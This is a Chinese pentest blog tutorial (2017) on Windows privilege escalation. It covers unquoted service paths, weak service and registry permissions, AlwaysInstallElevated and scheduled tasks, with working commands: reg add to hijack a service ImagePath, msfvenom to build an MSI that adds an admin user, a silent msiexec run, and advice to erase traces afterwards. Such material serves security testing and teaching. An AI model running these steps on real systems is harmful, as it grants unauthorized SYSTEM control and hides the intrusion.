windows提权系列上篇

渗透测试 2017-11-19

在渗透测试中,提升自己的权限是经常遇到的问题,往往在渗透中最容易获取的权限就是一个webshell,如果网站是架设在Windows系统上的,这时就可能遇到这样的问题,还有一种情况是在做横向渗透的时候,收集到一些可以远程连接桌面的帐号,这是也需要,在实际的渗透中有很多的地方会需要这个操作,这个系列就主要介绍各种提权的方式。

提权基础

在提权之前首先要做的是对系统的操作系统信息做一些信息收集,关于信息收集的介绍请看之前的文章《Windows环境下的信息收集》,这里简单提一下这几条命令:

systeminfo | findstr OS #获取系统版本信息

hostname #获取主机名称

whomai /priv #显示当前用户的安全特权

quser or query user #获取在线用户

netstat -ano | findstr 3389 #获取rdp连接来源IP

dir c:programdata #分析安装杀软

wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁

REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber #获取远程端口

tasklist /svc | find "TermService" + netstat -ano #获取远程端口

溢出提权

溢出提权是在提权过程中最通用的,但是其利用的关键点在于目标系统安全补丁打的不够及时,才会让攻击者有机可乘,这里大概列一下比较新的溢出exp。

1.jpg

WINDOWS错误系统配置

有时候由于运营者的错误配置可能给我们提权提供便利,提高我们的提权成功率,下面就对这个方面的提权方法做一个简单的介绍。

可信任服务路径

“Trusted Service Paths”漏洞是由系统中的“CreateProcess”函数引起的,利用了windows文件路径解析的特性,并涉及了服务路径的文件/文件夹权限,存在缺陷的服务程序利用了属于可执行文件的文件/文件夹权限。如果权限合适,我们可以上传恶意可执行文件。简单讲就是查找系统服务文件中存在非引用路径。如果一个服务调用可执行文件,没有正确处理引用的全路径名,就可以利用这个漏洞。metasploit集成了trusted_service_path(http://www.zeroscience.mk/codes/msfsession.txt)漏洞利用模块

产生原因

windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。例如,有如下的文件路径:

C:Program FilesSome FolderService.exe

对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:Program.exeC:Program FilesSome.exeC:Program FilesSome FolderService.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。

利用步骤

1.检测目标主机是否存在该漏洞

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """

如果存在一下结果则表示存在:

FABS - Helping agent for MAGIX media database     Fabs    C:\Program Files (x86)\Common 
Files\MAGIX Services\Database\bin\FABS.exe /DisableUI     Auto

2.检查对有漏洞目录是否有写入的权限。使用Windows内建工具icacls查看路径中受影响文件夹的权限,(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。

2.jpg

3.攻击。将我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe,成功提权后记得清理痕迹。

sc stop service_name
sc start service_name

假如我们的exe会弹回一个SYSTEM权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移set AutoRunScript migrate -f

系统服务的错误权限配置漏洞

Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。metasploit集成了漏洞利用模块exploit/windows/local/service_permissions。手工测试步骤如下:

1.检查易受攻击的服务.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权。

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

#"Authenticated Users"指Windows系统中所有使用用户名、密码登录并通过身份验
证的账户,不包括来宾账户Guest。也可以使用当前用户用户名来列出所以可以被当前
用户修改的服务。
#-->RW 360rp
#       SERVICE_ALL_ACCESS

2.查看可以完全控制的服务的属性。

3.jpg

3.修改服务配置执行命令。BINARY_PATH_NAME参数指向了该服务的可执行程序(360rps.exe)路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。

4.png

当尝试启动服务时,它会返回一个错误。这一点我们之前已经讨论过了,在Windows系统中,当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。上面的“net user”肯定是无法和服务管理器通信的,但是不用担心,我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户。

4.提权成功后修改服务配置,清理痕迹。

不安全的注册表权限配置

在Windows中,和Windows服务有关的信息存储在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 注册表项中。以服务360rp为例,服务对应的程序路径存储在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\360rp\ImagePath中,如果我们对这一键值有写入权限就可以修改服务对应的程序路径,让系统以SYSTEM权限运行我们的程序,从而达到提权的目标。如下所示,我们可以使用SubInACL(https://www.microsoft.com/en-us/download/details.aspx?id=23510)工具去检查注册表项的权限。建议本地安装后找到 subinacl.exe 拷贝到目标机器上运行。

subinacl.exe /keyreg "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /display

如果我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序:

reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f

在下一次启动该服务时,adduser.exe将会以SYSTEM权限运行。成功提权后记得修改回配置。

不安全的文件/文件夹权限配置

可信任服务路径漏洞产生的原因就是不安全的文件夹权限以及“CreateProcess”函数。如果我们对系统服务对应的应用程序所在文件夹有写入权限,便可以直接使用恶意程序替换原来的可执行文件,从而完成提权。

任意用户以NT AUTHORITYSYSTEM权限安装msi

AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。msf集成了漏洞利用模块:exploit/windows/local/always_install_elevated 。详细利用步骤如下:

1.判断是否启用了AlwaysInstallElevated策略。当两个注册表键值查询结果均为1时,代表该策略已启用。

reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

2.使用msfvenom生成恶意程序上传

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi

3.运行恶意程序。

msiexec /quiet /qn /i C:programdatarotten.msi

# /quiet    安装过程中禁止向用户发送消息
# /qn       不使用GUI
# /i        安装程序

计划任务

可以使用如下命令查看计算机上的计划任务。

schtasks /query /fo LIST /v

使用如下命令可以查看指定目录的权限配置情况。如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计划任务下次执行时,就会以高权限运行恶意程序,进而完成提权。

accesschk.exe -dqv "D:test" -accepteula

总结

本文作为这个提权系列的上篇,主要讲了提权的一些基础信息,提到了溢出提权、错误配置导致的提权等,由于作者还没完全完成这个系列的所有内容,所以可能有不全的地方,请大家理解,随后会慢慢放出作者已经完成的部分。如果有任何的问题或者建议,请大家积极留言讨论


本文由 myh0st 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论